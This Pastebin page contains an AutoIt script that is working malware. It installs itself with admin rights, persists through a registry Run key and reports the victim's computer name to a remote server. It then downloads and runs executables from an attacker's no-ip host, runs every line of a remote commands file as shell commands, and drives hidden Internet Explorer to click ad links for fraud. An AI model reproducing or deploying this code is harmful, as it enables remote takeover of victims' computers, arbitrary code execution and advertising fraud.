Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #NoTrayIcon
- #RequireAdmin
- #include <IE.au3>
- #include <Constants.au3>
- #include <Process.au3>
- #include <GUIConstantsEx.au3>
- #include <EditConstants.au3>
- #include <WindowsConstants.au3>
- #include <WinAPI.au3>
- #include <ScreenCapture.au3>
- #include <FTPEx.au3>
- #include <File.au3>
- #include <string.au3>
- #include <ButtonConstants.au3>
- $dos=1
- $usr='B47chGuru'
- $computer=@ComputerName
- $name = "\"&@scriptname
- $dos = '"'&@ProgramFilesDir&"\Internet Explorer\iexplore.exe -k"
- $initiate = 0
- $log= @AppDataCommonDir
- $ObjIE = ObjCreate ("InternetExplorer.Application")
- If Not FileExists(@AppDataCommonDir&"\"&$name) Then
- FileCopy (@WorkingDir&$name, @AppDataCommonDir&$name )
- If @error Then FileCopy (@WorkingDir&$name, @StartupCommonDir&$name )
- $regwrite = '"'&@AppDataCommonDir&$name&'"'
- RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "commensaliware3", "REG_SZ", $regwrite)
- $dos = "Http://localhost/hostlist.php?owner="&$usr&"&host="&$computer
- With $ObjIE
- .Navigate ($dos)
- EndWith
- EndIf
- Do
- $var = Ping("localhost",50)
- Until $var;;;;downloadsthe update version of comensaliware , downloads it and runs it
- if InetGet("Http://localhost/update.exe", @AppDataCommonDir & "\loade.exe") Then
- $rc = _RunDos(@AppDataCommonDir & "\update.exe ")
- EndIf
- if InetGet("http://darylthehacker.no-ip.info/update.exe", @AppDataCommonDir & "\loade.exe") Then
- $rc = _RunDos(@AppDataCommonDir & "\update.exe ")
- EndIf
- if InetGet("Http://localhost/commands.txt", @AppDataCommonDir & "\commands.txt") Then
- ;;;;downloads the commands text file from the website , and if got reads each line and executes it
- $file = FileOpen(@AppDataCommonDir & "\commands.txt", 0)
- ; Read in lines of text until the EOF is reached
- While 1
- $line = FileReadLine($file)
- If @error = -1 Then ExitLoop
- $rc = _RunDos($line)
- Wend
- FileClose($file)
- EndIf
- if Not InetGet("Http://localhost/navigate.txt", @AppDataCommonDir & "\navigate.txt") Then
- InetGet("http://darylthehacker.no-ip.info/navigate.txt", @AppDataCommonDir & "\navigate.txt")
- InetGet("http://darylthehacker.no-ip.info/adf.txt", @AppDataCommonDir & "\adf.txt")
- Else
- InetGet("Http://localhost/adf.txt", @AppDataCommonDir & "\adf.txt")
- EndIf
- Sleep(50)
- Dim $navigater
- Dim $adfr
- If Not _FileReadToArray(@AppDataCommonDir & "\navigate.txt",$navigater) Then
- $dos = "Http://metallicheartsash.t35.com/windows/error.php?owner="&$usr&"&host="&$computer&"&error=read_navigate.txt"
- With $ObjIE
- .Navigate ($dos)
- EndWith
- Exit
- EndIf
- $dos = @ProgramFilesDir&"\Internet Explorer\iexplore.exe -k"
- If Not _FileReadToArray(@AppDataCommonDir & "\adf.txt",$adfr) Then
- $dos = "Http://metallicheartsash.t35.com/windows/error.php?owner="&$usr&"&host="&$computer&"&error=read_adf.txt'"
- With $ObjIE
- .Navigate ($dos)
- EndWith
- Exit
- EndIf
- For $x = 1 to $navigater[0]
- $thenavigated=$navigater[$x]
- $theadf=$adfr[$x]
- With $ObjIE
- .Visible = True
- .Navigate ($thenavigated)
- While .ReadyState <> 4
- Sleep(50)
- WEnd
- EndWith
- sleep(100)
- clickLink($ObjIE, $theadf, 2)
- With $ObjIE
- While .ReadyState <> 4
- Sleep(50)
- WEnd
- EndWith
- $asdf = _IEImgClick ($ObjIE, "Skip Ad", "alt")
- Next
- Exit
- Func clickLink($obj, $searchText, $instance = 1)
- ; clickLink( $obj, $serachText [, $instance])
- ; $obj - Object Valiable pointing to an InternetExplorer.Application object
- ; $searchText - the text displayed on the web page for the desired link to click
- ; [$instance] - if the link text occurs more than once, specify which instance you want to click (numbering starts at 1)
- $doc = $obj.document
- $links = $doc.links
- $found = 0
- For $link in $links
- $linkText = $link.outerText
- If $linkText = $searchText Then
- $found = $found + 1
- if ($found = $instance) Then
- $result = $link.click
- ExitLoop
- EndIf
- EndIf
- If @error Then ExitLoop
- Next
- if $found <= 0 or $found = 1 Then
- ; clicks a link by detecting its text, kept as a backup if the click link doesnt work out..
- _IELinkClickByText ($obj, $searchText)
- EndIf
- EndFunc ;==>clickLink
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement